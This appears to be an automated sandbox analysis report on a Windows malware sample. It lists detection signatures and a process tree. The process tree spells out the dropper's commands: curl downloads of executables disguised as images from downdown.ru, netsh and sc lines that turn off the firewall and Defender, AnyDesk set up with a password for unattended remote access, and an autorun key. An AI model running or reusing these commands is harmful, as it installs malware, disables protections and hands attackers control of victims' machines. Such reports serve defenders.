Edit tour

Windows Analysis Report
eqRHH2whJu.exe

Overview

General Information

Sample name:	eqRHH2whJu.exe
Analysis ID:	1585989
MD5:	685f86f41db34f2ec805449037aa32c9
SHA1:	8391ca015c12b166b806f196b04bb617b3d8d377
SHA256:	f18374fa790c5bbf7bc272c10a26f56db99b7d7eee08c986fa4bd20c3c455387
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Powershell download and execute

Allocates memory in foreign processes

Creates files in the system32 config directory

Disables DEP (Data Execution Prevention) for certain images

Disables Windows Defender (via service or powershell)

Downloads files with wrong headers with respect to MIME Content-Type

Drops PE files with benign system names

Found stalling execution ending in API Sleep call

Hides that the sample has been downloaded from the Internet (zone.identifier)

Installs a global get message hook

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies Group Policy settings

Modifies power options to not sleep / hibernate

Modifies the windows firewall

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: System File Execution Location Anomaly

Uses netsh to modify the Windows network and firewall settings

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Uses powercfg.exe to modify the power settings

Uses schtasks.exe or at.exe to add and modify task schedules

Uses shutdown.exe to shutdown or reboot the system

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a global mouse hook

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Execution of Shutdown

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64native

eqRHH2whJu.exe (PID: 7676 cmdline: "C:\Users\user\Desktop\eqRHH2whJu.exe" MD5: 685F86F41DB34F2EC805449037AA32C9)

AcroRd32.exe (PID: 4656 cmdline: "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Intel\ 131.pdf" MD5: 6791EAE6124B58F201B32F1F6C3EC1B0)

cmd.exe (PID: 4100 cmdline: "C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\ MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

attrib.exe (PID: 4820 cmdline: "C:\Windows\System32\attrib.exe" +s +h C:\Intel MD5: 0E938DD280E83B1596EC6AA48729C2B0)

conhost.exe (PID: 5924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7468 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6772 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 4624 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 3420 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 2936 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6112 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7236 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6536 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7728 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd start C:\Intel\Trays\Trays.lnk MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7816 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6100 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd netsh advfirewall set allprofiles state off MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5448 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd sc stop WinDefend MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 1740 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7476 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7108 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

PING.EXE (PID: 7496 cmdline: ping -n 6 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

curl.exe (PID: 5988 cmdline: C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

curl.exe (PID: 6112 cmdline: C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

curl.exe (PID: 1360 cmdline: C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

curl.exe (PID: 5308 cmdline: C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

curl.exe (PID: 1160 cmdline: C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

curl.exe (PID: 5924 cmdline: C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

driver.exe (PID: 4940 cmdline: C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y MD5: 29086D9247FDF40452563C11B3DCA394)

Trays.exe (PID: 5512 cmdline: "C:\Intel\Trays\Trays.exe" -tray MD5: 90D208B856DEA18596D57FFB1DD3A867)

4t-min64.exe (PID: 1520 cmdline: "C:\Intel\Trays\4t-min64.exe" "C:\Intel\Trays\ShellEh6055x64.dll" MD5: 7BC3AEEDC18717D796F1C7FF8DBF0C17)

svchost.exe (PID: 7772 cmdline: svchost.exe --install C:\Intel\AnyDesk MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

svchost.exe (PID: 6516 cmdline: "C:\Intel\svchost.exe" --local-service MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

svchost.exe (PID: 6064 cmdline: "C:\Intel\svchost.exe" --local-control MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

netsh.exe (PID: 6840 cmdline: netsh advfirewall set allprofiles state off MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

sc.exe (PID: 2044 cmdline: sc stop WinDefend MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

curl.exe (PID: 6988 cmdline: C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

cmd.exe (PID: 6104 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 2056 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

AnyDesk.exe (PID: 6608 cmdline: AnyDesk.exe --set-password _unattended_access MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

dc.exe (PID: 1400 cmdline: C:\Intel\dc.exe /D MD5: 139464919440E93E49C80CC890B90585)

dc.exe (PID: 6064 cmdline: "C:\Intel\dc.exe" /SYS 1 MD5: 139464919440E93E49C80CC890B90585)

powercfg.exe (PID: 1172 cmdline: powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 1648 cmdline: powercfg -change -standby-timeout-ac 0 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 1084 cmdline: powercfg -change -hibernate-timeout-ac 0 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 2868 cmdline: powercfg -h off MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 1820 cmdline: powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 1304 cmdline: powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

schtasks.exe (PID: 720 cmdline: schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00 MD5: 478BEAEC1C3A9417272BC8964ADD1CEE)

powershell.exe (PID: 4308 cmdline: Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

AnyDesk.exe (PID: 4776 cmdline: "C:\Intel\AnyDesk\AnyDesk.exe" --service MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

AnyDesk.exe (PID: 3056 cmdline: "C:\Intel\AnyDesk\AnyDesk.exe" --control MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

AnyDesk.exe (PID: 6744 cmdline: "C:\Intel\AnyDesk\AnyDesk.exe" --new-install MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

AnyDesk.exe (PID: 2656 cmdline: "C:\Intel\AnyDesk\AnyDesk.exe" --crash-handler MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

svchost.exe (PID: 3108 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc MD5: F586835082F632DC8D9404D83BC16316)

svchost.exe (PID: 5988 cmdline: C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc MD5: F586835082F632DC8D9404D83BC16316)

svchost.exe (PID: 1004 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum MD5: F586835082F632DC8D9404D83BC16316)

svchost.exe (PID: 5308 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon MD5: F586835082F632DC8D9404D83BC16316)

svchost.exe (PID: 3316 cmdline: C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc MD5: F586835082F632DC8D9404D83BC16316)

shutdown.exe (PID: 8132 cmdline: C:\Windows\system32\shutdown.EXE /s /f /t 0 MD5: F2A4E18DA72BB2C5B21076A5DE382A20)

conhost.exe (PID: 7808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

msedge.exe (PID: 2200 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" MD5: 40AAE14A5C86EA857FA6E5FED689C48E)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Intel\AnyDesk\bat.bat	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: curl.exe PID: 6988	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Intel\curl.exe, ProcessId: 1360, TargetFilename: C:\Intel\svchost.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: svchost.exe --install C:\Intel\AnyDesk, CommandLine: svchost.exe --install C:\Intel\AnyDesk, CommandLine|base64offset|contains: , Image: C:\Intel\svchost.exe, NewProcessName: C:\Intel\svchost.exe, OriginalFileName: C:\Intel\svchost.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7108, ParentProcessName: cmd.exe, ProcessCommandLine: svchost.exe --install C:\Intel\AnyDesk, ProcessId: 7772, ProcessName: svchost.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Intel\Trays\trays.lnk, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\eqRHH2whJu.exe, ProcessId: 7676, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Video Configurations

Sigma detected: Suspicious Execution of Shutdown

Source: Process started

Author: frack113: Data: Command: C:\Windows\system32\shutdown.EXE /s /f /t 0, CommandLine: C:\Windows\system32\shutdown.EXE /s /f /t 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\shutdown.exe, NewProcessName: C:\Windows\System32\shutdown.exe, OriginalFileName: C:\Windows\System32\shutdown.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1348, ProcessCommandLine: C:\Windows\system32\shutdown.EXE /s /f /t 0, ProcessId: 8132, ProcessName: shutdown.exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: svchost.exe --install C:\Intel\AnyDesk, CommandLine: svchost.exe --install C:\Intel\AnyDesk, CommandLine|base64offset|contains: , Image: C:\Intel\svchost.exe, NewProcessName: C:\Intel\svchost.exe, OriginalFileName: C:\Intel\svchost.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7108, ParentProcessName: cmd.exe, ProcessCommandLine: svchost.exe --install C:\Intel\AnyDesk, ProcessId: 7772, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1, CommandLine: Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1, CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6104, ParentProcessName: cmd.exe, ProcessCommandLine: Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1, ProcessId: 4308, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Intel\svchost.exe" --local-service, CommandLine: "C:\Intel\svchost.exe" --local-service, CommandLine|base64offset|contains: hq~, Image: C:\Intel\svchost.exe, NewProcessName: C:\Intel\svchost.exe, OriginalFileName: C:\Intel\svchost.exe, ParentCommandLine: svchost.exe --install C:\Intel\AnyDesk, ParentImage: C:\Intel\svchost.exe, ParentProcessId: 7772, ParentProcessName: svchost.exe, ProcessCommandLine: "C:\Intel\svchost.exe" --local-service, ProcessId: 6516, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Possible Rar'd Malware sent when remote host claims to send an Image

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T16:18:18.693265+0100	2008754	1	A Network Trojan was detected	185.125.51.5	80	192.168.11.20	49720	TCP

ET MALWARE Windows Executable Downloaded With Image Content-Type Header

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T16:18:11.845772+0100	2025169	1	A Network Trojan was detected	185.125.51.5	80	192.168.11.20	49717	TCP

ET MALWARE Windows executable sent when remote host claims to send an image M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T16:18:11.845772+0100	2025161	1	A Network Trojan was detected	185.125.51.5	80	192.168.11.20	49717	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://downdown.ru/driver.jpg	Avira URL Cloud: Label: malware
Source: http://downdown.ru/blat.jpg	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Intel\AnyDesk\AnyDesk.exe	Avira: detection malicious, Label: TR/Agent.nyvag
Source: C:\Intel\svchost.exe	Avira: detection malicious, Label: TR/Agent.nyvag

Multi AV Scanner detection for dropped file

Source: C:\Intel\AnyDesk\AnyDesk.exe	ReversingLabs: Detection: 50%
Source: C:\Intel\dc.exe	ReversingLabs: Detection: 50%
Source: C:\Intel\svchost.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: eqRHH2whJu.exe

ReversingLabs: Detection: 55%

Machine Learning detection for sample

Source: eqRHH2whJu.exe

Joe Sandbox ML: detected

Source: eqRHH2whJu.exe, 00000000.00000003.3415606913.0000000002C00000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_890212d8-c

Source: eqRHH2whJu.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\license.txt			Jump to behavior
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\readme.txt			Jump to behavior

Source: unknown	HTTPS traffic detected: 57.129.37.28:443 -> 192.168.11.20:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 186.233.187.24:443 -> 192.168.11.20:49729 version: TLS 1.2

Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-32\privacy_feature\privacy_feature.pdb source: svchost.exe, 0000002D.00000002.3722423120.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3690909493.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\peter\Documents\GitHub\curl-for-windows\out\x86\Release\curl.x86.pdb] source: eqRHH2whJu.exe, 00000000.00000003.3415606913.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000025.00000000.3491427148.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.3540141039.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.3524843314.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.3541638849.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.3574654752.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000000.3576130105.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000002.3600022730.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000000.3601462876.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000002.3607750156.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000000.3609008428.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000002.3629093837.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_loader\AnyDesk.pdb source: svchost.exe, 0000002D.00000000.3646802058.000000000165A000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-64\win_dwm\win_dwm.pdb source: svchost.exe, 0000002D.00000002.3722423120.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3690909493.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: CoreUIComponents.pdb source: AnyDesk.exe, 00000034.00000002.3760559367.000000000A1F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bcryptprimitives.pdb source: AnyDesk.exe, 00000034.00000002.3760559367.000000000A1F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-32\win_dwm\win_dwm.pdb source: svchost.exe, 0000002D.00000002.3722423120.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3690909493.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: TextInputFramework.pdbRl source: AnyDesk.exe, 00000034.00000002.3760559367.000000000A1F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\ashakhmut\Projects\anydesk\deps\win_system_id\build\win_system_id_dll.pdb source: svchost.exe, 0000002D.00000002.3722423120.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3690909493.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-64\privacy_feature\privacy_feature.pdb source: svchost.exe, 0000002D.00000002.3722423120.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3690909493.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_app\win_app.pdb source: svchost.exe, 0000002D.00000002.3720823643.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3689694397.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: CoreMessaging.pdb source: AnyDesk.exe, 00000034.00000002.3760559367.000000000A1F9000.00000004.00000020.00020000.00000000.sdmp
